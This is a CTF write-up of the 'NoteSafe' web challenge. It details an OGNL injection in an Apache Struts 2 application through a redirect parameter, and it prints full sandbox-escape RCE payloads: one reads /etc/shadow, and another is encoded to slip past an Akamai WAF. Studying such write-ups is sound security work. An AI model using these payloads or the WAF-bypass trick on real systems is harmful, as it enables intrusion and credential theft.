Introduction
This challenge, NoteSafe, was part of IEEE VICTORIS CTF 2026 Qualifications, tackled with my team Mont5ab El2hwa. It turned out to be one of the harder web challenges in the competition, with only 9 solves across all participating teams — our team ultimately placed 6th overall.
Table of Contents
- Initial Reconnaissance
- Exploring the Application
- Discovering the Reflection
- Researching Apache Struts 2 Vulnerabilities
- Confirming OGNL Injection
- From Injection to RCE
- WAF Blocking the Payload
- Bypassing the WAF — Parser Differentials
- Final Payload and Result
- Sources
1. Initial Reconnaissance
The first thing you see are two buttons: Create Account or Sign in with a demo account.

The first step is to sign in.

The first thing that caught my attention was the naming convention of the endpoints: login.action.

This strongly suggested that the application is likely using Apache Struts 2.
2. Exploring the Application
After logging in:

There’s a logout option and a “Go to my notes” option. I started by creating a note, and tried a lot of things while creating it.

Nothing new there.
I tried viewing my notes without being authenticated, and got redirected.

When I sent a GET /notes.action request without being logged in, the server responded with a 302 redirect to /login.action?DURL=%2Fnotes.action. This means the server saves the page I was requesting as a query parameter called DURL, so it can redirect me back to it after I log in.
3. Discovering the Reflection
While following the redirection flow, I found the DURL parameter and traced how it was handled. I noticed something odd in the response: the value of DURL wasn’t just being placed in the value attribute of the hidden input as expected — it was also being duplicated inside the id attribute:
<input type="hidden" name="DURL" value="/notes.action" id="/notes.action"/>This is not normal behavior — the id attribute shouldn’t be built from a user-controlled parameter value.

I found that a POST request is sent and its value is reflected in the id attribute.

4. Researching Apache Struts 2 Vulnerabilities
After some research into Apache Struts 2 vulnerabilities, I arrived at:

This meant we could potentially achieve RCE via OGNL. First, I needed to confirm that the OGNL injection actually exists.
5. Confirming OGNL Injection
I started with a simple test: I sent DURL=test and checked whether the value would be reflected as-is or not.
The value came back unchanged (id="test"), meaning there was no injection or interpretation happening for plain text. Next, I tried sending a simple OGNL expression, %{8*8}, instead of plain text.

The result was id="64" — meaning the 8*8 value was actually evaluated and its result, 64, appeared inside the id attribute. This is conclusive proof that the value coming from DURL is being evaluated as an OGNL expression, not just reflected as plain text like ordinary reflection.
Once I confirmed the injection existed, I began looking into how to turn this evaluation into RCE.
6. From Injection to RCE
Now that the injection was confirmed, the next step was researching how to get RCE from it.

Let’s try this exploitation:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat_/etc/shadow")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}7. WAF Blocking the Payload
When I tried sending the full RCE payload, the server responded directly with an Access Denied page from the Akamai WAF.

The WAF blocked it.
8. Bypassing the WAF — Parser Differentials
After a lot of research and experimentation, I found that the Akamai WAF blocks many keywords in the payload in their normal/plain form, but OGNL can still parse them just fine in an alternate encoded form. This technique is called Parser Differentials — meaning the WAF sees something ordinary and passes it through, while OGNL still reads it perfectly.
One last constraint: the injection point
translateVariable()only resolves expressions wrapped in${...}, so the payload couldn’t contain curly braces at all. OGNL’s built-in handling of unicode escapes (\u0022_etc.) provides a clean way to express braces and continue the payload.
Source: https://techreport.ngo/security/bypassing-ognl-sandboxes-for-fun-and-charities/
Based on this, it was possible to get around many of the blocked keywords — blocked from the WAF’s perspective, but completely normal from OGNL’s perspective.
9. Final Payload and Result
The final payload:
%25%7B(%5Cu0023instancemanager=%5Cu0023%5Cu0061pplication%5B%22org.%5Cu0061pache.tomcat.InstanceManager%22%5D).(%5Cu0023stack=%5Cu0023%5Cu0061ttr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D).(%5Cu0023bean=%5Cu0023instancemanager.newInstance(%22org.apache.commons.collections.BeanMap%22)).(%5Cu0023bean.setBean(%5Cu0023stack)).(%5Cu0023context=%5Cu0023bean.get(%22context%22)).(%5Cu0023bean.setBean(%5Cu0023context)).(%5Cu0023macc=%5Cu0023bean.get(%22memberAccess%22)).(%5Cu0023bean.setBean(%5Cu0023macc)).(%5Cu0023emptyset=%5Cu0023instancemanager.newInstance(%22java.util.HashSet%22)).(%5Cu0023bean.put(%22excludedClasses%22,%5Cu0023emptyset)).(%5Cu0023bean.put(%22excludedPackageNames%22,%5Cu0023emptyset)).(%5Cu0023arglist=%5Cu0023instancemanager.newInstance(%22java.util.ArrayList%22)).(%5Cu0023arglist.add(%22id%22)).(%5Cu0023execute=%5Cu0023instancemanager.newInstance(%22freemarker.template.utility.Execute%22)).(%5Cu0023execute.exec(%5Cu0023arglist))%7DResult:

The flag: CTF{43779f19dfdd869bde6ab23e202c2b3c}

10. Sources
- Qualys — CVE-2020-17530 Apache Struts 2 Double OGNL Evaluation Vulnerability
- Bypassing OGNL Sandboxes for Fun and Charities — techreport.ngo
- GHSL-2020-205: Double Eval of Dynamic Attributes in Struts2 — GitHub Security Lab
- Parser Differentials — TORCH Wiki (Encod3d-Sec)
- CVE-2020-17530 — SentinelOne Vulnerability Database
- OGNL - Basic Injection — PayloadsAllTheThings
Some information may be outdated




